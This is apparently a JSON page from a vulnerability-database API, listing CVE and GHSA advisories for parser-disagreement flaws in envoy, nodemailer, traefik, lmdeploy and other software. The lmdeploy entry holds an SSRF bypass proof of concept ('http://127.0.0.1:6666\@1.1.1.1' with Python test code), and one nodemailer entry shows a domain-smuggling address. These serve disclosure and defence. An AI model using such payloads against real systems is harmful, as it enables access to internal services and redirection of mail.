Notes"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.38.4","type":"advisory","title":"Release Notes"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.39.1","type":"advisory","title":"Release Notes"},{"url":"https://github.com/envoyproxy/envoy/security/advisories/GHSA-m745-gh6x-349x","type":"vendor","title":"Exploit"}],"epssScore":0.00376,"epssPercentile":0.29484,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-21T21:17:09.207Z","addedAt":"2026-09-21T21:50:38.376Z","updatedAt":"2026-10-05T15:50:46.100Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73511","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-73511","note":"authoritative record"}]},{"id":"5f0244fb-f736-4860-887b-ad966f500552","slug":"cve-2026-93750","externalId":"CVE-2026-93750","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-93750 — http-cache-semantics through 4.2.0 contains a cache validation vulnerability in the _varyMatches() function that fails to properly validate Vary he…","description":"http-cache-semantics through 4.2.0 contains a cache validation vulnerability in the _varyMatches() function that fails to properly validate Vary header wildcards due to byte-for-byte string comparison. Attackers can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients.","cveId":"CVE-2026-93750","cvssScore":8.2,"cvssVector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-436"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/kornelski/http-cache-semantics","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://github.com/kornelski/http-cache-semantics/issues/57","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://www.vulncheck.com/advisories/http-cache-semantics-through-4.2.0-cross-client-cache-disclosure-via-vary-wildcard","type":"advisory","title":"disclosure@vulncheck.com"}],"epssScore":0.00445,"epssPercentile":0.36674,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-18T18:18:33.633Z","addedAt":"2026-09-18T19:50:41.772Z","updatedAt":"2026-09-23T17:50:39.275Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93750","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-93750","note":"authoritative record"}]},{"id":"4dbcd5c7-6902-4ed7-aab4-060317611ebf","slug":"ghsa-39wr-7q6h-cf68","externalId":"GHSA-39wr-7q6h-cf68","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"LMDeploy has an SSRF bypass","description":"### Summary\nThe URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.\n\n### Details\nThe current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.\n<img width=\"943\" height=\"836\" alt=\"QQ20260416-203956-16-1\" src=\"https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d\" />\nHowever, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request.\n<img width=\"1086\" height=\"576\" alt=\"QQ20260416-204053-16-2\" src=\"https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a\" />\nThe core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- `urlparse()` treats `\\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)\n- `requests` treats `\\` as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the code.\n```\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\nimport requests\n\n\ndef _is_safe_url(url: str) -> tuple[bool, str]:\n    \"\"\"Check if the URL is safe to fetch (not internal/private).\"\"\"\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in (\"http\", \"https\"):\n            return False, f\"Unsupported scheme: {parsed.scheme}\"\n\n        hostname = parsed.hostname\n        if not hostname:\n            return False, \"Could not parse hostname from URL\"\n\n        # check all IPs (IPv4 + IPv6) using getaddrinfo\n        try:\n            infos = socket.getaddrinfo(hostname, None)\n        except socket.gaierror:\n            return False, \"Hostname resolution failed\"\n\n        for info in infos:\n            ip = ipaddress.ip_address(info[4][0])\n            # block any IP that is not globally routable (covers private, loopback,\n            # link-local, multicast, reserved, unspecified, etc.)\n            if not ip.is_global:\n                return False, f\"Blocked non-global IP detected: {ip}\"\n\n        return True, \"URL is safe\"\n    except Exception as e:\n        return False, f\"URL validation failed: {str(e)}\"\n\n\n# url = \"http://127.0.0.1:6666\"\nurl = \"http://127.0.0.1:6666\\@1.1.1.1\"\nis_safe, reason = _is_safe_url(url)\nif not is_safe:\n    raise ValueError(f\"URL is blocked for security reasons: {reason}\")\n\nfetch_timeout = 10\n\nclient = requests.Session()\nclient.max_redirects = 3\nresponse = client.get(url, timeout=fetch_timeout, allow_redirects=True)\n```\nWhen an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.\n<img width=\"1286\" height=\"195\" alt=\"QQ20260416-204234-16-3\" src=\"https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9\" />\nHowever, when an attacker uses `http://127.0.0.1:6666\\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack.\n\n<img width=\"2064\" height=\"154\" alt=\"QQ20260416-204319-16-4\" src=\"https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02\" />\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@1.1.1.1\n```\n\n### Impact\nSSRF","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","severity":"high","vendor":"PyPI","product":"lmdeploy","affectedVersions":["pkg:pypi/lmdeploy >= 0.12.3, < 0.15.0"],"cwes":["CWE-436","CWE-918"],"tags":["osv","osv:ghsa-39wr-7q6h-cf68","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-39wr-7q6h-cf68","type":"advisory","title":"OSV GHSA-39wr-7q6h-cf68"},{"url":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-39wr-7q6h-cf68","type":"other","title":"OSV web"},{"url":"https://github.com/InternLM/lmdeploy","type":"vendor","title":"OSV package"},{"url":"https://github.com/InternLM/lmdeploy/releases/tag/v0.15.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-18T17:14:06.000Z","addedAt":"2026-09-18T19:54:29.061Z","updatedAt":"2026-09-18T19:54:29.061Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-39wr-7q6h-cf68"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-39wr-7q6h-cf68"}]},{"id":"2e6c1a08-a79b-419c-9ee9-c6696d03a235","slug":"cve-2026-92598","externalId":"CVE-2026-92598","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-92598 — Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a diff…","description":"Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addresses with invisible characters or compatibility mappings that pass domain allow-list checks but are delivered to attacker-controlled domains via SMTP.","cveId":"CVE-2026-92598","cvssScore":8.3,"cvssVector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":"npm","product":"nodemailer","affectedVersions":["pkg:npm/nodemailer < 9.1.0"],"cwes":["CWE-436","CWE-20"],"tags":["nvd","status:received","osv","osv:ghsa-wmmp-3585-3rmp","ecosystem:npm","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/nodemailer/nodemailer/commit/259c32d","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://github.com/nodemailer/nodemailer/commit/b212ac4","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://www.vulncheck.com/advisories/nodemailer-before-9.1.0-idn-punycode-domain-allow-list-bypass","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://osv.dev/vulnerability/GHSA-wmmp-3585-3rmp","type":"advisory","title":"OSV GHSA-wmmp-3585-3rmp"},{"url":"https://github.com/nodemailer/nodemailer/pull/1848","type":"other","title":"OSV web"},{"url":"https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148","type":"other","title":"OSV web"},{"url":"https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e","type":"other","title":"OSV web"},{"url":"https://github.com/nodemailer/nodemailer","type":"vendor","title":"OSV package"},{"url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0","type":"other","title":"OSV web"}],"epssScore":0.00395,"epssPercentile":0.31608,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-16T22:18:30.840Z","addedAt":"2026-09-16T23:50:35.678Z","updatedAt":"2026-09-22T21:50:39.775Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92598","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-92598","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-WMMP-3585-3RMP"}]},{"id":"69fdd77a-6fc1-47dc-a1c9-9896284885ba","slug":"cve-2026-92597","externalId":"CVE-2026-92597","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-92597 — Nodemailer versions >= 6.9.16 and < 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before…","description":"Nodemailer versions >= 6.9.16 and < 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before a non-break character causes the tokenizer to concatenate the atoms surrounding the comment instead of treating the comment as folding whitespace that terminates the domain. A recipient address such as user@good-corp.com(x)evil.com is therefore read by Nodemailer as the single domain good-corp.comevil.com (registrable domain comevil.com, which an attacker can register) and used for both the SMTP envelope (RCPT TO) and the emitted To:/From: headers, while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com. An application that validates the recipient domain with a strict RFC 5322 parser (without inspecting parse defects) or a naive prefix/substring allow-list and then hands the raw address to Nodemailer can be induced to deliver mail to a domain the attacker controls. Fixed in 9.1.0.","cveId":"CVE-2026-92597","cvssScore":8.3,"cvssVector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":"npm","product":"nodemailer","affectedVersions":["pkg:npm/nodemailer >= 6.9.16, < 9.1.0"],"cwes":["CWE-436","CWE-20"],"tags":["nvd","status:received","osv","osv:ghsa-cc9r-2j5m-2m83","ecosystem:npm","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/nodemailer/nodemailer/commit/902b63e","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://www.vulncheck.com/advisories/nodemailer-before-9.1.0-email-domain-validation-bypass-via-rfc-5322-comment","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://osv.dev/vulnerability/GHSA-cc9r-2j5m-2m83","type":"advisory","title":"OSV GHSA-cc9r-2j5m-2m83"},{"url":"https://github.com/nodemailer/nodemailer/pull/1848","type":"other","title":"OSV web"},{"url":"https://github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880","type":"other","title":"OSV web"},{"url":"https://github.com/nodemailer/nodemailer","type":"vendor","title":"OSV package"},{"url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0","type":"other","title":"OSV web"}],"epssScore":0.00382,"epssPercentile":0.30111,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-16T22:18:30.700Z","addedAt":"2026-09-16T23:50:35.673Z","updatedAt":"2026-09-22T21:50:39.767Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92597","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-92597","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-CC9R-2J5M-2M83"}]},{"id":"2729ff32-5f92-4d31-9aa1-83a8d21fc18f","slug":"cve-2026-91835","externalId":"CVE-2026-91835","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-91835 — A vulnerability was detected in OpenClaw ClawScan up to 0.1.6.","description":"A vulnerability was detected in OpenClaw ClawScan up to 0.1.6. The impacted element is the function IsBinaryFile of the file internal/runner/static_scanner.go of the component File Classifier. The manipulation results in interpretation conflict. Attacking locally is a requirement. The exploit is now public and may be used. Upgrading to version 0.1.7 is sufficient to resolve this issue. The patch is identified as 04401337b3adb9343bd338b21e5e258bf49ca9c8. You should upgrade the affected component.","cveId":"CVE-2026-91835","cvssScore":0.9,"cvssVector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"low","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-436"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/openclaw/clawscan/","type":"advisory","title":"cna@vuldb.com"},{"url":"https://github.com/openclaw/clawscan/commit/04401337b3adb9343bd338b21e5e258bf49ca9c8","type":"advisory","title":"cna@vuldb.com"},{"url":"https://github.com/openclaw/clawscan/issues/42","type":"advisory","title":"cna@vuldb.com"},{"url":"https://github.com/openclaw/clawscan/pull/43","type":"advisory","title":"cna@vuldb.com"},{"url":"https://github.com/openclaw/clawscan/releases/tag/v0.1.7","type":"advisory","title":"cna@vuldb.com"},{"url":"https://vuldb.com/cve/CVE-2026-91835","type":"advisory","title":"cna@vuldb.com"},{"url":"https://vuldb.com/submit/933532","type":"advisory","title":"cna@vuldb.com"},{"url":"https://vuldb.com/vuln/404071","type":"advisory","title":"cna@vuldb.com"},{"url":"https://vuldb.com/vuln/404071/cti","type":"advisory","title":"cna@vuldb.com"}],"epssScore":0.0016,"epssPercentile":0.04543,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-15T15:17:32.567Z","addedAt":"2026-09-15T15:50:39.442Z","updatedAt":"2026-09-16T19:50:40.194Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91835","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-91835","note":"authoritative record"}]},{"id":"79dafa3d-0eb5-4d39-8e0a-b191e91ff4f1","slug":"cve-2026-86818","externalId":"CVE-2026-86818","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-86818 — fast-uri is a dependency-free RFC 3986 URI parser for Node.js, used by Fastify and ajv, that added a mailto scheme parser in version 4.1.3.","description":"fast-uri is a dependency-free RFC 3986 URI parser for Node.js, used by Fastify and ajv, that added a mailto scheme parser in version 4.1.3. In versions 4.1.3 and 4.1.4, the mailto parser compares each query field name to the reserved names to, subject, and body while the name is still percent-encoded, and decodes it only when storing it as a generic header, so a percent-encoded spelling of a reserved field name is not recognized as that field at parse time but is re-emitted as the literal field name when the parsed URI is serialized. An application that validates, logs, or displays the recipient list from the first parse and then serializes the URI and sends it can silently gain an attacker-chosen recipient, and the subject and body fields can be smuggled across the same roundtrip. The issue is fixed in fast-uri 4.1.5, and users should upgrade to 4.1.5 or later. As a workaround, do not act on a mailto URI that fast-uri has re-serialized without first decoding and re-validating its recipient, subject, and body fields.","cveId":"CVE-2026-86818","cvssScore":4.8,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","severity":"medium","vendor":"npm","product":"fast-uri","affectedVersions":["pkg:npm/fast-uri >= 4.1.3, < 4.1.5"],"cwes":["CWE-172","CWE-436"],"tags":["nvd","status:received","status:awaiting-analysis","osv","osv:ghsa-jvvf-x445-j334","ecosystem:npm"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://cna.openjsf.org/security-advisories.html","type":"other","title":"OSV web"},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-jvvf-x445-j334","type":"other","title":"OSV web"},{"url":"https://osv.dev/vulnerability/GHSA-jvvf-x445-j334","type":"advisory","title":"OSV GHSA-jvvf-x445-j334"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86818","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/fastify/fast-uri/commit/f40a88f33e684a46faec3f5b820bcbb1e85add64","type":"other","title":"OSV web"},{"url":"https://github.com/fastify/fast-uri","type":"vendor","title":"OSV package"},{"url":"https://github.com/fastify/fast-uri/releases/tag/v4.1.5","type":"other","title":"OSV web"}],"epssScore":0.00253,"epssPercentile":0.15369,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-15T11:17:12.453Z","addedAt":"2026-09-15T11:50:35.372Z","updatedAt":"2026-09-30T01:54:27.312Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86818","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-86818","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-JVVF-X445-J334"}]},{"id":"2516df4a-aa1f-4d3a-ae0a-e82eb3dcc51b","slug":"cve-2026-88004","externalId":"CVE-2026-88004","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-88004 — Traefik is an open source HTTP reverse proxy and load balancer.","description":"Traefik is an open source HTTP reverse proxy and load balancer. From 3.2.0 until 3.7.13, Traefik entrypoint defenses aliasHeadersStrategy, underscoreHeadersStrategy, and forwardedHeaders inspect req.Header but not req.Trailer, allowing an unauthenticated client to submit an aliasing or trusted header name in an HTTP/1.1 chunked trailer or an HTTP/2 trailer. When the retry or buffering middleware reads the body before the reverse proxy clones the request, the attacker-controlled trailer value reaches a backend that merges trailers into the header namespace, bypassing the documented delete or reject behavior and potentially spoofing identity or forwarded routing data. This issue is fixed in 3.7.13.","cveId":"CVE-2026-88004","cvssScore":7,"cvssVector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":"traefik","product":"traefik","affectedVersions":["pkg:golang/github.com/traefik/traefik/v3 >= 3.2.0, < 3.7.13",">= 3.2.0, < 3.7.13","pkg:golang/github.com/traefik/traefik","pkg:golang/github.com/traefik/traefik/v2"],"cwes":["CWE-436","CWE-807"],"tags":["nvd","status:received","status:awaiting-analysis","osv","osv:ghsa-v67p-phpq-fc8x","ecosystem:go","status:analyzed","osv:go-2026-6467"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":true,"patchLinks":["https://github.com/traefik/traefik/commit/55bbda4f65e0f9c533c870983a767a7081126db7","https://github.com/traefik/traefik/pull/13822","https://github.com/traefik/traefik/security/advisories/GHSA-v67p-phpq-fc8x"],"references":[{"url":"https://github.com/traefik/traefik/commit/55bbda4f65e0f9c533c870983a767a7081126db7","type":"patch","title":"OSV fix"},{"url":"https://github.com/traefik/traefik/pull/13822","type":"patch","title":"OSV fix"},{"url":"https://github.com/traefik/traefik/releases/tag/v3.7.13","type":"other","title":"OSV web"},{"url":"https://github.com/traefik/traefik/security/advisories/GHSA-v67p-phpq-fc8x","type":"advisory","title":"OSV advisory"},{"url":"https://osv.dev/vulnerability/GHSA-v67p-phpq-fc8x","type":"advisory","title":"OSV GHSA-v67p-phpq-fc8x"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88004","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/traefik/traefik","type":"vendor","title":"OSV package"},{"url":"https://osv.dev/vulnerability/GO-2026-6467","type":"advisory","title":"OSV GO-2026-6467"}],"epssScore":0.00452,"epssPercentile":0.37291,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-10T15:17:54.940Z","addedAt":"2026-09-10T15:50:38.126Z","updatedAt":"2026-09-17T19:54:32.728Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88004","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-88004","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-V67P-PHPQ-FC8X"}]}],"pagination":{"page":1,"limit":20,"total":65,"totalPages":4,"hasNext":true,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-09T00:25:33.067Z","durationMs":21,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":[],"cwe":["CWE-436"],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}